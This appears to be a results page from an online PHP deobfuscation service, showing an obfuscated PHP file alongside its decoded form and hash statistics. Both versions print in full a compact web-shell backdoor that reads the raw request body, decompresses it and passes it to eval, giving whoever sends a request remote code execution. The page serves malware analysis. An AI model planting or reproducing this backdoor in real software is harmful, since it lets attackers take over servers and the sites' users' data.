Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto IazYn; gcvyk: if (substr(${${"\x47\114\117\x42\101\x4c\x53"}["\x65\x78\157\167\..

Decoded Output download

<?php goto IazYn; gcvyk: if (substr(${${"GLOBALS"}["exowixpgbxy"]}, 0, 3) == "000") { ${"GLOBALS"}["vmylobwsfmu"] = "uncompressed"; ${"GLOBALS"}["truuydutbl"] = "rawData"; ${${"GLOBALS"}["ftdeybydgfo"]} = gzinflate(substr(${${"GLOBALS"}["truuydutbl"]}, 3)); @(${${"GLOBALS"}["xpkjxaip"]} = ${${"GLOBALS"}["vmylobwsfmu"]}); try { eval(${${"GLOBALS"}["xpkjxaip"]}); } catch (MyException $e) { } } goto PLJIb; hy1wK: ${"GLOBALS"}["exowixpgbxy"] = "rawData"; goto Tf6rX; Tf6rX: ${"GLOBALS"}["ofarwug"] = "rawData"; goto be6DR; i0_GS: ${"GLOBALS"}["ftdeybydgfo"] = "uncompressed"; goto hy1wK; IazYn: ${"GLOBALS"}["xpkjxaip"] = "command"; goto i0_GS; be6DR: ${${"GLOBALS"}["ofarwug"]} = file_get_contents("php://input"); goto gcvyk; PLJIb: ?>

Did this file decode correctly?

Original Code

<?php goto IazYn; gcvyk: if (substr(${${"\x47\114\117\x42\101\x4c\x53"}["\x65\x78\157\167\151\x78\160\147\x62\x78\171"]}, 0, 3) == "\x30\60\60") { ${"\x47\114\x4f\x42\x41\114\x53"}["\166\155\x79\154\157\142\x77\163\x66\155\x75"] = "\x75\x6e\x63\157\x6d\x70\162\145\163\x73\x65\144"; ${"\x47\x4c\117\102\x41\x4c\x53"}["\x74\x72\x75\x75\x79\x64\165\164\142\x6c"] = "\162\x61\167\x44\x61\164\x61"; ${${"\107\114\117\102\101\x4c\123"}["\x66\164\x64\145\171\x62\x79\144\147\146\x6f"]} = gzinflate(substr(${${"\107\114\117\x42\x41\114\123"}["\x74\162\x75\x75\x79\x64\x75\164\x62\x6c"]}, 3)); @(${${"\x47\x4c\117\x42\101\x4c\123"}["\x78\160\153\x6a\170\141\151\160"]} = ${${"\x47\x4c\117\102\x41\x4c\123"}["\166\x6d\x79\154\x6f\x62\x77\163\x66\x6d\x75"]}); try { eval(${${"\x47\114\x4f\102\x41\x4c\123"}["\x78\x70\153\152\x78\141\151\x70"]}); } catch (MyException $e) { } } goto PLJIb; hy1wK: ${"\107\x4c\x4f\x42\x41\114\x53"}["\x65\x78\157\x77\x69\x78\x70\x67\142\170\171"] = "\162\141\x77\104\141\x74\141"; goto Tf6rX; Tf6rX: ${"\107\x4c\x4f\x42\101\114\123"}["\x6f\146\x61\162\167\x75\x67"] = "\162\x61\x77\104\141\164\141"; goto be6DR; i0_GS: ${"\x47\114\117\x42\101\114\123"}["\146\164\144\x65\171\x62\171\144\147\x66\157"] = "\165\x6e\143\x6f\x6d\x70\162\145\x73\x73\x65\144"; goto hy1wK; IazYn: ${"\x47\x4c\x4f\102\x41\114\123"}["\x78\160\x6b\152\x78\141\151\x70"] = "\143\157\155\155\141\156\x64"; goto i0_GS; be6DR: ${${"\107\x4c\x4f\x42\101\x4c\123"}["\x6f\146\x61\x72\x77\165\x67"]} = file_get_contents("\160\x68\x70\72\x2f\57\151\x6e\160\x75\x74"); goto gcvyk; PLJIb: ?>

Function Calls

None

Variables

None

Stats

MD5 cfc6a21e7b3f6b36a6de6dbc7098d2dc
Eval Count 0
Decode Time 60 ms